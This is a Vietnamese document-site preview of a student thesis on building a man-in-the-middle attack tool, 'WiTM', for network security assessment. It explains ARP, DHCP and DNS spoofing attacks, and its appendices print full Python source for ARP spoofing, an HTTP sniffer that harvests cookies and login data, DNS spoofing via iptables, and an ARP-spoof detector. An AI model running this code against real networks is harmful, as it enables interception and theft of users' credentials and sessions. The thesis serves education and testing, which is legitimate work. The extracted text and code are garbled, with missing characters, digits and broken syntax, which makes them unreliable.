1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo đồ án tấn công MITM đánh giá an toàn mạng

86 232 3

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 86
Dung lượng 2,25 MB
File đính kèm đánh giá an toàn mạng.zip (2 MB)

Nội dung

Báo cáo đồ án tấn công MITM đánh giá an toàn mạng . Các cuộc tấn công mạng có thể xảy ra ở bất kỳ đâu, kể cả trong chính mạng nội bộ ta đang sử dụng. Trong mạng nội bộ LAN, kẻ tấn công có thể sử dụng nhiều phương pháp khác nhau nhằm đánh cắp thông tin cá nhân, thông tin đăng nhập

LỜI MỞ ĐẦU Hiện nay, thời đại công nghiệp 4.0 phát triển mạnh mẽ, công ty công nghệ tìm kiếm phát triển thiết bị IoT, công nghệ, giao thức nhằm nâng cao đời sống xã hội lên tầm cao Tuy nhiên, phát triển nhanh vượt trội công nghệ thơng tin, chế an tồn bảo mật khơng thể bắt kịp tốc độ đó, khiến cho dễ bị nhắm đến công mạng sử dụng thiết bị Ảnh hưởng cơng mạng lớn, tùy theo mức độ quan trọng giá trị tài sản mục tiêu Các cơng mạng xảy đâu, kể mạng nội ta sử dụng Trong mạng nội LAN, kẻ cơng sử dụng nhiều phương pháp khác nhằm đánh cắp thông tin cá nhân, thông tin đăng nhập, tài liệu quan trọng, … người dùng bị nhắm đến Một phương pháp cơng hay sử dụng, cơng người xen hay cịn gọi công Man–in–The–Middle Để bảo vệ trước công Man-in-the-middle, nhiều công cụ kiểm thử xây dựng để mô công phát lỗ hổng mạng máy tính, phục vụ cho việc thiết kế chế phát bảo mật mạng cần thiết trước kiểu công Tuy nhiên, nhiều công cụ công chưa thực nhiều phương thức công hay kỹ thuật cơng chưa hồn thiện Ví dụ, cơng cụ công Ettercap công cụ công Man-in-TheMiddle lâu đời thông tin đọc giới hạn tên đăng nhập mật Vậy, việc phát triển cơng cụ cơng Man-in-The-Middle cịn nhiều tiềm để thêm vào phương thức hay cải thiện kỹ thuật có Chính lý này, đề tài chọn xây dựng đồ án “Xây dựng công cụ công Man-In-The-Middle phục vụ đánh giá an tồn mạng” với mục tiêu là: • Giới thiệu cơng Man-in-the-middle tìm hiểu phương thức kỹ thuật công Man-in-the-middle sử dụng • • • Phân tích, thiết kế lập trình cơng cụ cơng MiTM Thử nghiệm cơng cụ cơng MiTM Tìm hiểu cách phịng chống phát cơng MiTM Sau thời gian nghiên cứu đồ án, mục tiêu đề đạt Tuy nhiên, kiến thức kỹ lập trình cịn hạn chế nên khơng thể tránh khỏi thiếu sót, nên mong thầy bạn học viên đóng góp ý kiến để tác giả đồ án hồn thiện đề tài MỤC LỤC DANH MỤC KÝ HIỆU VÀ TỪ VIẾT TẮT ARP DHCP DNS HSTS HTTP ICMP IDS IP LAN MAC MiTM NAT NIC NSA OSI PC SSL TCP TTL UDP URL VLAN VoIP VPN WEP WiTM Address Resolution Protocol Dynamic Host Configuration Protocol Domain Name System HTTP Strict Transport Security Hypertext Transfer Protocol Internet Control Message Protocol Intrusion Detection System Internet Protocol Local Area Network Media Access Control Man-in-The-Middle Network Address Translation Network Interface Card National Security Agency Open Systems Interconnection Personal Computer Secure Socket Layer Transmission Control Protocol Time To Live User Datagram Protocol Uniform Resource Locator Virtual LAN Voice over IP Virtual Private Network Wired Equivalent Privacy Who in The Middle DANH MỤC HÌNH ẢNH CHƯƠNG I: TÌM HIỂU VỀ TẤN CƠNG MITM I.1 Khái niệm cơng Man – in – the – middle dạng công mà kẻ cơng xâm nhập vào hội thoại hai nhóm người, giả danh hai nhóm người truy cập vào thơng tin mà hai bên truyền cho Tấn công man – in – the – middle cho phép kẻ công chặn, gửi nhận liệu dành cho người khác không gửi đi, mà hai bên không hay biết Tấn công MiTM kiểu công mạng lâu đời lịch sử an ninh mạng Đầu năm 1980 giờ, nhà khoa học máy tính phải nghiên cứu cách ngăn chặn nhân tố đe dọa sử dụng để nghe phá hoại đường truyền Để thực kiểu cơng này, kẻ cơng can thiệp vào đường truyền hợp pháp tạo điểm kết nối giả mà kẻ cơng kiểm sốt Đường truyền sau bị can thiệp bị loại bỏ mã hóa nhằm đánh cắp, thay đổi chuyển hướng đường truyền đến địa điểm mà kẻ công muốn chuyển đến Hình 1.1 Ví dụ minh họa cơng MiTM Hình 1.1 ví dụ cơng MiTM làm xâm nhập thành cơng Lúc này, kẻ công Peter xâm nhập vào trị chuyện Jack Jill cách đóng giả Jack Jill Tại đây, Jack, Peter Jill Jill, Peter Jack Khi đó, Jack Jill nghĩ họ nói chuyện trực tiếp với thực ra, họ nói chuyện với Peter Vì lý này, Peter lắng nghe liệu mà Jack Jill gửi đến cho Peter thay đổi thông tin truyền Trong ví dụ, Jack Jill thực giao dịch chuyển tiền Peter thực cơng MiTM thay khóa Jill khóa mình, gửi cho Jack Sau đó, Peter chỉnh sửa số tài khoản Jack tài khoản để Jill chuyển số tiền vốn định gửi cho Jack vào tài khoản Các cơng MiTM ngày gia tăng, khó phát có xu hướng phát triển để phá biện pháp bảo mật Một số công MiTM gây ảnh hưởng lớn ghi nhận: • Năm 2011, lỗ hổng an ninh quan cấp chứng thư Hà Lan khai thác để cung cấp chứng thư giả mạo Các chứng thư giả mạo sau • sử dụng để thực công MiTM Việc quan an ninh quốc gia (NSA) Mỹ giả mạo thành Google làm sáng tỏ vào năm 2013 Edward Snowden làm rị rỉ tài liệu NSA cơng khai Sử dụng khả chặn bắt thông tin giả mạo • chứng SSL, NSA theo dõi tìm kiếm tiềm tang người dùng Năm 2014, Lenovo cài đặt phần mềm adware MiTM gọi Superfish máy tính PC Windows Superfish sử dụng để quét đường truyền SSL cài đặt chứng cho phép chúng chặn bắt chuyển • hướng đường truyền an tồn Năm 2015, cặp đôi người Anh 340.000 Euro • cơng MiTM nghe email cướp email Cuối tháng 4, năm 2019, nhiều nhà nghiên cứu tin nhiều kẻ công cố gắng sử dụng kiểu công Man – in – the – Middle để phân phối cài đặt Plead Backdoor cách sử dụng phần mềm AsusWSPanel.exe I.2 Các phương pháp thực công Man – in – The – Middle (MiTM) I.2.1 ARP Spoofing I.2.1.1 Giới thiệu giao thức ARP Trong hệ thống mạng máy tính, có địa gán cho máy tính là: • Địa logic: địa giao thức mạng IP, IPX, Loại địa mang tính chất tương đối, thay đổi theo cần thiết người dùng Các địa thường phân thành phần riêng biệt phần địa mạng phần địa máy Cách đánh địa nhắm giúp cho việc tìm đường kết nối từ hệ thống mạng sang hệ thống mạng • khác dễ dàng Địa vật lý: hay gọi địa MAC địa 48 bit, dùng để định danh nhà cung cấp gán cho thiết bị Đây loại địa phẳng, không phân lớp, nên khó dùng để định tuyến Trên thực tế, card mạng (NIC) kết nối với theo địa MAC, địa cố định phần cứng Do phải có chế để ánh xạ địa logic - lớp sang địa vật lý - lớp để thiết bị giao tiếp với Từ đó, giao thức phân giải địa ARP - Address Resolution Protocol tạo nhằm giải vấn đề Giao thức ARP (Address Resolution Protocol), giao thức sử dụng để phân giải địa MAC cố định từ địa IP, thay đổi tùy theo mạng ARP giao thức lớp - Data link layer mơ hình OSI giao thức lớp Link layer mơ hình TCP/IP Ban đầu ARP sử dụng mạng Ethernet để phân giải địa IP địa MAC Nhưng ngày ARP ứng dụng rộng rãi dùng công nghệ khác dựa lớp hai Quá trình hoạt động giao thức ARP sau: • Bước 1: Khi thiết bị nguồn muốn liên lạc với thiết bị khác, thiết bị kiểm tra xem đệm ARP máy có địa MAC phân giải thiết bị đích chưa Nếu có, máy sử dụng địa MAC • để bắt đầu kết nối Bước 2: Nếu địa MAC thiết bị đích chưa có đệm ARP, thiết bị nguồn tạo gói tin ARP request gửi broadcast cho tồn thiết bị có mạng với trường Target IP address chứa địa IP thiết bị • đích Trường Target Hardware Address để trống Bước 3: Mọi thiết bị mạng nhận gói tin ARP Request thơng điệp truyền broadcast Khi đó, chúng so sánh địa IP trường Target IP address với địa IP chúng Nếu địa IP chúng khơng • giống, gói tin bị loại bỏ Bước 4: Nếu thiết bị đích nhận gói tin, so sánh tạo thơng điệp ARP reply, sử dụng thông tin từ thông điệp ARP request nhận từ trước để trả lời Đồng thời, thiết bị đích cập nhật đệm ARP Ở • đây, gói tin ARP reply gửi theo hướng Unicast Bước 5: Thiết bị nguồn nhận gói tin ARP reply từ thiết bị đích cập nhật địa MAC trường Sender Hardware Address với địa IP cần • phân giải vào đệm ARP Bước 6: Thiết bị nguồn thiết bị đích liên lạc với đệm ARP có ghi cần thiết Giao thức ARP giao thức sử dụng nhiều thiết bị kết nối mạng ngày linh hoạt tiện lợi Tuy nhiên, chế nguy hiểm giao thức khiến thiết bị gặp nguy hiểm Để đảm bảo thiết bị mạng ln tìm địa MAC thiết bị muốn kết nối, kể thiết bị có thay đổi địa IP, gói tin ARP ln tiếp nhận thiết bị khơng gửi gói tin ARP request Cơ chế bị lợi dụng nhằm tiến hành nhiều dạng cơng khác nhau, có công Man – in – the – Middle I.2.1.2 Tấn công ARP Spoofing ARP spoofing kiểu công mà kẻ cơng gửi gói tin ARP sai lệch toàn khu vực mạng cục Điều dẫn đến địa MAC kẻ cơng với địa IP máy tính hợp pháp máy chủ mạng Một địa MAC kẻ công kết nối với địa IP hợp lệ, kẻ bắt đầu nhận liệu dành cho địa IP ARP spoofing cho phép nhân tố độc hại chặn bắt, chỉnh sửa ngăn chặn gói tin truyền Các cơng ARP spoofing xảy mạng cục bộ, nơi sử dụng giao thức ARP Để phân tích rõ kiểu cơng này, đồ án phân tích ví dụ sau: Hình 1.2 Hoạt động mạng thơng thường Hình ảnh 1.2 rõ hoạt động bình thường mạng máy tính trước kẻ cơng bắt đầu cơng ARP spoofing Có thể thấy rằng, máy nạn nhân gửi yêu cầu nhận phản hồi từ Internet thông qua Access point bình thường, máy kẻ cơng Lúc này, bảng ARP Access point nạn nhân không bị thay đổi 10 TÀI LIỆU THAM KHẢO [1] Philippe Biondi – Scapy documentation: https://scapy.readthedocs.io/en/latest/index.html [2] Sab0tag3d – MITM cheatsheet: https://github.com/Sab0tag3d/MITMcheatsheet [3] Tomasz Andrzej Nidecki - All That You Need to Know About Man-in-theMiddle Attacks: https://www.acunetix.com/blog/articles/man-in-the-middleattacks/ [4] Netsparker Security Team - Man-in-the-middle Attacks and How To Avoid Them: https://www.netsparker.com/blog/web-security/man-in-the-middleattack-how-avoid/ [5] Tomasz Andrzej Nidecki – All about Man-in-the-middle Attacks: https://www.acunetix.com/blog/articles/man-in-the-middle-attacks/ [6] CrowdStrike - Man-in-the-Middle (MITM) Attacks Explained: https://www.crowdstrike.com/epp-101/man-in-the-middle-mitm-attacks/ [7] Anastasios Arampatzis -What Are SSL Stripping Attacks? https://www.venafi.com/blog/what-are-ssl-stripping-attacks [8] International Journal of Engineering Research & Technology - ARP Spoof Detection System using ICMP Protocol: An Active Approach: https://www.ijert.org/research/arp-spoof-detection-system-using-icmpprotocol-an-active-approach-IJERTV3IS051581.pdf [9] Jeff Peters - What is DNS Cache Poisoning?: https://www.varonis.com/blog/dns-cache-poisoning/ [10] Andrew Ayer - ICMP Redirect Attacks in the Wild: https://www.agwa.name/blog/post/icmp_redirect_attacks_in_the_wild [11] Zbigniew Banach - What Is Session Hijacking: Your Quick Guide to Session Hijacking Attacks: https://www.netsparker.com/blog/web-security/sessionhijacking/ 72 PHỤ LỤC 1: Chương trình cơng cụ (WiTM.py) #!/usr/bin/env python import threading import logging from termcolor import colored import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from function import precheck as check from function import network_scanner as scanner from function import ARP_spoofing as arp from function import DNS_spoof as dns from function import packet_sniffer as sniffer from function import help as help def tool_title(): print("\t####################################################### #") print("\t####################################################### #") print("\t########## Who_in_The_Midde -##########") print("\t####################################################### #") print("\t####################################################### #") def main(): tool_title() options_list = [1, 2, 3, , 5, 6, 0] arp_stop_flag = False arp_running_flag = False while True: try: option = raw_input("\n[*] Choose from [1][2][3][4][5][6] [0] (choose for help): ") if option == "": continue else: try: option = int(option) 73 except: print("[!] Error! Try again!") continue except KeyboardInterrupt: print("[!] Please use option 0") continue if option in options_list: if option == 1: print("\n[!] Network Scanner") network_ip = scanner.input_network() if network_ip == "": continue else: scanner.scan_network(network_ip) continue if option == 2: check.IP_forward_check() print("\n[!] ARP Spoofing starting") if arp_running_flag == False: argument = arp.ARPspoof_input() if argument == "": continue else: arp_stop_flag = False arp_running_flag = True t1 = threading.Thread(target = arp.ARP_spoofing, args =(lambda : arp_stop_flag, argument[0], argument[1])) t1.daemon = True t1.start() print("[!] Attacking now ") continue else: arp_stop_flag = True arp_running_flag = False t1.join() continue if option == 3: print("\n[!] ARP Spoofing Detector starting") arp.ARP_sniffer() continue if option == 4: print("\n[!] HTTP Sniffing starting") sniffer.start() continue if option == 5: print("\n[!] DNS Spoofing starting") dns.DNS_spoofing() 74 continue if option == 6: help.option_help() continue if option == 0: if arp_running_flag == True: print("[!] ARP Spoofing attack still running! Stopping it now ") arp_stop_flag = True check.disable_IP_forward() break; else: print("[!] Invalid option! Please try again!") continue print("[!] Exitting Thank you for using my tool!") if name == ' main ': main() 75 PHỤ LỤC 2: Script chứa hàm kiểm tra trước (precheck.py) #!/usr/bin/env python import import import import socket subprocess re scapy.all as scapy def ipaddr_check(ip): try: socket.inet_aton(ip) octet = ip.split(".") if len(octet) == 4: return True except socket.error: return False def network_check(network): try: txt = network.split('/') ipaddress = txt[0] subnet = int(txt[1]) except Exception as e: print("[!] Error! " + str(e)) return False if(subnet < 32 and subnet > 0): if ipaddr_check(txt[0]): return True else: return False else: return False def IP_forward_check(): file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path) as f: result = str(f.read().strip()) if result == "1": f.close() print("[!] IP Forwarding already enabled!") else: print("[!] IP Forwarding not enabled! Activate now ") f.close() with open(file_path, "w") as f: f.write("1") f.close() 76 def disable_IP_forward(): file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path, "r") as f: result = str(f.read().strip()) if result == "1": f.close() with open(file_path, "w") as f: f.write("0") f.close() print("[!] IP Forwarding is disabled") else: f.close() print("[!] IP Forwarding already disabled") def interface_check(iface): all_interfaces = scapy.get_if_list() for interface in all_interfaces: if iface == interface: return True return False 77 PHỤ LỤC 3: Script chứa chức quét mạng (network_scanner.py) #!/usr/bin/env python from precheck import network_check import scapy.all as scapy def input_network(): while True: try: network_IP = str(raw_input("[*] Please input network IP you want to scan: ")) if network_check(network_IP): return network_IP else: print("[!] Invalid Input!") continue except KeyboardInterrupt: return "" break def send_ARP_broadcast(ip): ARP_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_broadcast = broadcast/ARP_request answered_list = scapy.srp(arp_broadcast, verbose=False, timeout=5)[0] return answered_list def scan_network(ip): print("[!] Scanning network ") answered_list1 = send_ARP_broadcast(ip) discovered_list = [] for element in answered_list1: discovered_host = {"IP":element[1].psrc, "MAC":element[1].hwsrc} discovered_list.append(discovered_host) print(" -Result ") print("\tIP address \t\t\t MAC address") num = for element in discovered_list: print(element['IP'] + "\t\t\t|\t" + element['MAC']) num = num + print("[!] Return " + str(num) + " results!") print("[!] Gateway: " + scapy.conf.route.route("0.0.0.0")[2]) 78 PHỤ LỤC 4: Script chứa chức công ARP Spoofing phát ARP Spoofing (ARP_spoofing.py) #!/usr/bin/env python import scapy.all as scapy import sys import time import subprocess import re from precheck import ipaddr_check, interface_check from network_scanner import send_ARP_broadcast def ARP_spoof(target, spoof, target_MAC): spoof_packet = scapy.ARP(op=2, pdst=target, hwdst=target_MAC, psrc=spoof) scapy.send(spoof_packet, verbose=False) def ARP_restore(target, spoof, target_MAC, spoof_MAC): restore_packet = scapy.ARP(op=2, pdst=target, hwdst=target_MAC, psrc=spoof, hwsrc=spoof_MAC) scapy.send(restore_packet, verbose=False) def get_MAC(ip): answered_list=send_ARP_broadcast(ip) return answered_list[0][1].hwsrc def get_current_MAC(interface): command_output = subprocess.check_output(["ifconfig", interface]) mac_result = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(command_output)) if mac_result.group(0): return mac_result.group(0) else: print("[-] Error! Can't find your MAC address!") def ARP_sniffer(): global current_MAC current_MAC = "" while True: try: interface = str(raw_input("[*] Interface: ")) if interface_check(interface): current_MAC = get_current_MAC(interface) print("[!] ARP Spoofing detector running Press Ctrl + C to stop!") 79 scapy.sniff(iface=interface, store=False, prn=spoof_detector) else: print("[!] Unknown interface! Please try again ") continue except KeyboardInterrupt: print("\n[!] Exitting ") break def spoof_detector(packet): try: if packet.haslayer(scapy.ARP) and packet[scapy.ARP].hwsrc ! = current_MAC: sender_mac = packet[scapy.ARP].hwsrc src_mac = packet[scapy.Ether].src sender_ip = packet[scapy.ARP].psrc if sender_mac != src_mac: print("[!] Attack occured!") print("[+] Attacker's MAC: " + sender_mac + "\tSpoofed IP: " + sender_ip) else: icmp = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")/scapy.IP(dst=sender_ip)/sca py.ICMP() answered_list = scapy.srp(icmp, verbose=False, timeout=0.5)[0] real_mac = answered_list[0][1].src if sender_mac != real_mac: print("[!] Attack occured!") print("[+] Attacker's MAC: " + sender_mac + "\tSpoofed IP: " + sender_ip) except Exception as e: pass def ARPspoof_input(): while True: try: target_IP = str(raw_input("[*] Input target IP address: ")) spoof_IP = str(raw_input("[*] Input spoof IP target: ")) if ipaddr_check(target_IP) == False or ipaddr_check(spoof_IP) == False: print("[!] Invalid input! Please enter again ") continue else: print("[!] All input valid!") return target_IP, spoof_IP except KeyboardInterrupt: return "" 80 break def ARP_spoofing(stop, target_IP, spoof_IP): target_MAC = get_MAC(target_IP) spoof_MAC = get_MAC(spoof_IP) while True: ARP_spoof(target_IP, spoof_IP, target_MAC) ARP_spoof(spoof_IP, target_IP, spoof_MAC) time.sleep(5) if stop(): ARP_restore(target_IP, spoof_IP, target_MAC, spoof_MAC) ARP_restore(spoof_IP, target_IP, spoof_MAC, target_MAC) print("[!] Current ARP spoofing attack has stopped") break 81 PHỤ LỤC 5: Script chứa chức nghe đường truyền HTTP (packet_sniffer.py) #!/usr/bin/env python import scapy.all as scapy from scapy_http import http from precheck import interface_check from termcolor import colored def http_sniff(interface): scapy.sniff(iface=interface, store=False, prn=packet_processor) def process_url(packet): url = packet[http.HTTPRequest].Host.decode() + packet[http.HTTPRequest].Path.decode() if "Login" in url or "login" in url: print(colored("[ URL ] Located login page item: " + url, 'green')) else: print(colored("[ URL ] " + url, 'blue')) def process_cookie(packet): keywords = ["signin", "s_id", "login", "sessionid", "user"] captured_cookie = str(packet[http.HTTPRequest].Cookie) if captured_cookie != "None": cookie_list = captured_cookie.split(";") for item in cookie_list: for key in keywords: cookie_name = item.split("=")[0] if key in cookie_name.lower(): print(colored("[COOKIE] Important cookie: " + item, 'green')) break; else: continue print(colored("[COOKIE] " + item, 'yellow')) def get_login_info(packet): load = packet[scapy.Raw].load keywords = ["usr", "user", "username", "key", "pass", "passwrd", "password", "info"] for key in keywords: if key in load: return load def packet_processor(packet): 82 if packet.haslayer(http.HTTPRequest): print("\n### " + packet[scapy.IP].src + "###") process_url(packet) process_cookie(packet) if packet.haslayer(scapy.Raw): login_info = get_login_info(packet) if login_info: print(colored("\n[!] Possible login info: " + login_info + "\n", 'red')) def start(): while True: try: interface = raw_input("[*] Input interface used for sniff: ") if interface_check(interface): http_sniff(interface) else: print("[!] Unknown interface! Please try again !") continue except KeyboardInterrupt: print("\n[!] Exitting !") break; 83 PHỤ LỤC 6: Script chứa chức công DNS Spoofing (DNS_spoof.py) #!/usr/bin/env python import scapy.all as scapy from scapy_http import http import os import netfilterqueue from precheck import ipaddr_check def input_list(): global domain_ip_list domain_ip_list = [] while True: try: try: input_string = str(raw_input("[*] Input domain/IP pairs: ")) pair_list = input_string.split(";") except Exception as e: print("[!] Error! " + str(e)) continue for element in pair_list: pair = element.split("/") if ipaddr_check(pair[1]): domain_ip = {"Domain":pair[0], "IP":pair[1]} domain_ip_list.append(domain_ip) print("[+] Domain: " + pair[0] + "\t\tIP: " + pair[1]) else: print("[!] Error at pair " + element) return domain_ip_list except KeyboardInterrupt: print("\n[!] No input!") break return "" def dns_spoofer(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy_packet.haslayer(scapy.DNSRR): req_name = scapy_packet[scapy.DNSQR].qname for element in domain_ip_list: if element["Domain"] in req_name: print("[+] Spoofing target: " + req_name) 84 answer = scapy.DNSRR(rrname=req_name, rdata=element["IP"]) scapy_packet[scapy.DNS].an = answer scapy_packet[scapy.DNS].ancount = del del del del scapy_packet[scapy.IP].len scapy_packet[scapy.IP].chksum scapy_packet[scapy.UDP].len scapy_packet[scapy.UDP].chksum packet.set_payload(str(scapy_packet)) if scapy_packet.haslayer(scapy.Raw) and scapy_packet.haslayer(http.HTTPRequest): print(scapy_packet[scapy.Raw].load) packet.accept() def DNS_spoofing(): try: output = input_list() if output != "": queue = netfilterqueue.NetfilterQueue() os.system('iptables -I FORWARD -j NFQUEUE queue-num 0') queue.bind(0, dns_spoofer) print("[!] DNS Spoofing attack running ") queue.run() except KeyboardInterrupt: print("\n[!] DNS Spoofing attack ended!") queue.unbind() os.system('iptables -D FORWARD -j NFQUEUE queue-num 0') 85 PHỤ LỤC 7: Script hướng dẫn sử dụng (help.py) #!/usr/bin/env python def option_help(): print("\n\t\t\tTool name: Who in The Middle (WiTM)\n\t\tThis tool provide some function you need to execute a MiTM attack Enjoy!\n") print("[1]\tActivate Network Scanner.\n\tScanning local network based on user input.\n") print("[2]\tExecute ARP spoofing attack.\n\tPress again to stop ARP spoofing attack.\n") print("[3]\tActivate ARP Spoofing detector.\n\tNote: This function can only detect ARP spoofing attack that targeted this device only.\n") print("[4]\tActivate HTTP sniffer.\n\tThis function can gather URLs, COOKIE and possible login info.\n") print("[5]\tExecute DNS Spoofing attack.\n\tNote: This attack can only be used when you have successfully become man in the middle!\n") print("[6]\tHelp\n") print("[0]\tExit\n") 86 ...• • • Phân tích, thiết kế lập trình công cụ công MiTM Thử nghiệm công cụ cơng MiTM Tìm hiểu cách phịng chống phát công MiTM Sau thời gian nghiên cứu đồ án, mục tiêu đề đạt Tuy nhiên, kiến thức... nhận liệu dành cho người khác không gửi đi, mà hai bên không hay biết Tấn công MiTM kiểu công mạng lâu đời lịch sử an ninh mạng Đầu năm 1980 giờ, nhà khoa học máy tính phải nghiên cứu cách ngăn... truyền Để thực kiểu công này, kẻ công can thiệp vào đường truyền hợp pháp tạo điểm kết nối giả mà kẻ công kiểm soát Đường truyền sau bị can thiệp bị loại bỏ mã hóa nhằm đánh cắp, thay đổi chuyển

Ngày đăng: 07/01/2022, 16:03

HÌNH ẢNH LIÊN QUAN

Hình 1.1. Ví dụ minh họa tấn công MiTM - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.1. Ví dụ minh họa tấn công MiTM (Trang 6)
Hình 1.2. Hoạt động mạng thông thường - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.2. Hoạt động mạng thông thường (Trang 10)
Hình 1.3. Cách thực hiện tấn công ARP Spoofing của kẻ tấn công - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.3. Cách thực hiện tấn công ARP Spoofing của kẻ tấn công (Trang 11)
Hình 1.4. Hoạt động mạng sau khi bị tấn công ARP Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.4. Hoạt động mạng sau khi bị tấn công ARP Spoofing (Trang 12)
Hình 1.5. Quá trình hoạt động của giao thức DHCP - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.5. Quá trình hoạt động của giao thức DHCP (Trang 13)
Hình 1.6. Tấn công DHCP Starvation - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.6. Tấn công DHCP Starvation (Trang 15)
Hình 1.7. Tấn công DHCP Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.7. Tấn công DHCP Spoofing (Trang 16)
Hình 1.8. Tấn công DNS Cache Poisoning - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.8. Tấn công DNS Cache Poisoning (Trang 18)
Hình 1.9. Tấn công ICMP Redirect - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.9. Tấn công ICMP Redirect (Trang 22)
Hình 1.10. Tấn công DNS Spoofing sử dụng kỹ thuật sửa đổi gói tin - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.10. Tấn công DNS Spoofing sử dụng kỹ thuật sửa đổi gói tin (Trang 23)
Hình 1.11. Tấn công SessionHijacking - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.11. Tấn công SessionHijacking (Trang 25)
Hình 1.12. Tấn công SSL Stripping - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 1.12. Tấn công SSL Stripping (Trang 26)
Hình 2.13. Lưu đồ mô tả hoạt động của chức năng quét mạng - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.13. Lưu đồ mô tả hoạt động của chức năng quét mạng (Trang 32)
Hình 2.14. Lưu đồ mô tả hoạt động của chức năng tấn công ARP Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.14. Lưu đồ mô tả hoạt động của chức năng tấn công ARP Spoofing (Trang 35)
Hình 2.15. Lưu đồ xử lý dữ liệu nhập vào và lắng nghe đường truyền của chức năng phát hiện ARP Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.15. Lưu đồ xử lý dữ liệu nhập vào và lắng nghe đường truyền của chức năng phát hiện ARP Spoofing (Trang 40)
Hình 2.16. Lưu đồ xử lý gói tin ARP và phát hiện tấn công ARP Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.16. Lưu đồ xử lý gói tin ARP và phát hiện tấn công ARP Spoofing (Trang 41)
Hình 2.17. Lưu đồ mô tả hoạt động lắng nghe của chức năng HTTP Sniffer - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.17. Lưu đồ mô tả hoạt động lắng nghe của chức năng HTTP Sniffer (Trang 44)
Hình 2.18. Lưu đồ xử lý dữ liệu đầu vào và chặn bắt gói tin của chức năng DNS Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.18. Lưu đồ xử lý dữ liệu đầu vào và chặn bắt gói tin của chức năng DNS Spoofing (Trang 47)
Hình 2.19. Lưu đồ mô tả cách xử lý gói tin DNS Response của chức năng DNS Spoofing - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.19. Lưu đồ mô tả cách xử lý gói tin DNS Response của chức năng DNS Spoofing (Trang 48)
Hình 2.6 trên là lưu đồ mô tả cách công cụ tiếp nhận thông tin đầu vào và lắng nghe các gói tin được truyền đến máy - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 2.6 trên là lưu đồ mô tả cách công cụ tiếp nhận thông tin đầu vào và lắng nghe các gói tin được truyền đến máy (Trang 48)
Hình 3.21. Mô hình mạng thử nghiệm - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 3.21. Mô hình mạng thử nghiệm (Trang 54)
Hình 3.22. Cửa sổ Virtual Network Editor trong VMWare Workstation - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 3.22. Cửa sổ Virtual Network Editor trong VMWare Workstation (Trang 55)
Trong hình 3.3, chọn card NAT và điều chỉnh các cấu hình của card NAT giống như hình trên - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
rong hình 3.3, chọn card NAT và điều chỉnh các cấu hình của card NAT giống như hình trên (Trang 55)
Hình 3.25. Kết quả sau khi quét của chức năng Network Scanner - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 3.25. Kết quả sau khi quét của chức năng Network Scanner (Trang 58)
Hình 3.29. Bảng ARP của máy nạn nhân khi bị tấn công ARP Spoofing. - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 3.29. Bảng ARP của máy nạn nhân khi bị tấn công ARP Spoofing (Trang 60)
• Bước 2: Ở màn hình chính, chọn 4. Trong chức năng này, nhập vào giao diện mạng muốn lắng nghe, ở đây nhập eth0 như hình 3.12, sau đó nhấn Enter. - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
c 2: Ở màn hình chính, chọn 4. Trong chức năng này, nhập vào giao diện mạng muốn lắng nghe, ở đây nhập eth0 như hình 3.12, sau đó nhấn Enter (Trang 61)
Hình 3.33. Kết quả thu được khi người dùng vào trang web. - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 3.33. Kết quả thu được khi người dùng vào trang web (Trang 62)
Hình 4.42. Thực hiện tấn công ARP Spoofing ở máy nạn nhân - Báo cáo đồ án tấn công MITM đánh giá an toàn mạng
Hình 4.42. Thực hiện tấn công ARP Spoofing ở máy nạn nhân (Trang 70)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w